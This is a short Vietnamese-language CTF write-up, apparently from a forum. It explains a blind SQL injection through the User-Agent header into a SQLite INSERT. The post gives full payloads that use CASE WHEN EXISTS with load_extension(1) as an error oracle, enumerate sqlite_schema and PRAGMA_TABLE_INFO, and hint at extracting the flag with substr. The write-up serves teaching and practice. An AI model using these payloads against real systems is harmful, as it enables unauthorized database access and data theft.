Sau khi đọc đề bài thì mình có hướng sử dụng exists() và toán từ like để tìm kiếm flag.
Vì câu lệnh insert đã đủ các element và được format là string nên mình sẽ modify lại thành câu lệnh để có thể truyền giá trị theo ý mình User-Agent: ‘,null, null,null,null),(null,’
Khi bắt đầu làm thì mình nhận ra là kết quả trả về chỉ là Logged hoặc Error nên mình phải dùng câu lệnh để raise error. Sau một hồi tìm kiếm thì tìm ra được hàm load_extension().
Thế là mình hình thành cơ bản câu SQL Injection:
‘,null, null,null,CASE WHEN EXIST() THEN NULL ELSE load_extension(1)),(null,’
Về cấu trúc thì khi hàm EXIST() trả về True thì trang web hiện thị Logged còn False thì hiện thị Error
Đầu tiên sẽ phải tìm bảng chứa flag:
‘,null, null,null,CASE WHEN EXIST(SELECT * FROM sqlite_schema Where name like ‘%%’) THEN NULL ELSE load_extension(1)),(null,’
Tìm được bảng rồi thì tiếp tục đi tìm tên cột:
‘,null, null,null,CASE WHEN EXIST(select * from PRAGMA_TABLE_INFO(’‘) Where name like ‘%%’) THEN NULL ELSE load_extension(1)),(null,’
Vẫn công thức đấy bạn có thể tìm được giá trị của flag.
type or paste code here
!!! Trong sqlite3 khi set giá trị case_sensitive_like = 0 thì toán từ Like sẽ không phân biệt chữ hoa và chữ thường nên mình dùng substr để kiểm tra từng giá trị của flag. Còn làm thế nào các bạn tìm hiểu nốt nhé
Vì mình chỉ mới bắt đầu viết writeup nên có phần nào chưa tốt thì các bạn góp ý giúp mình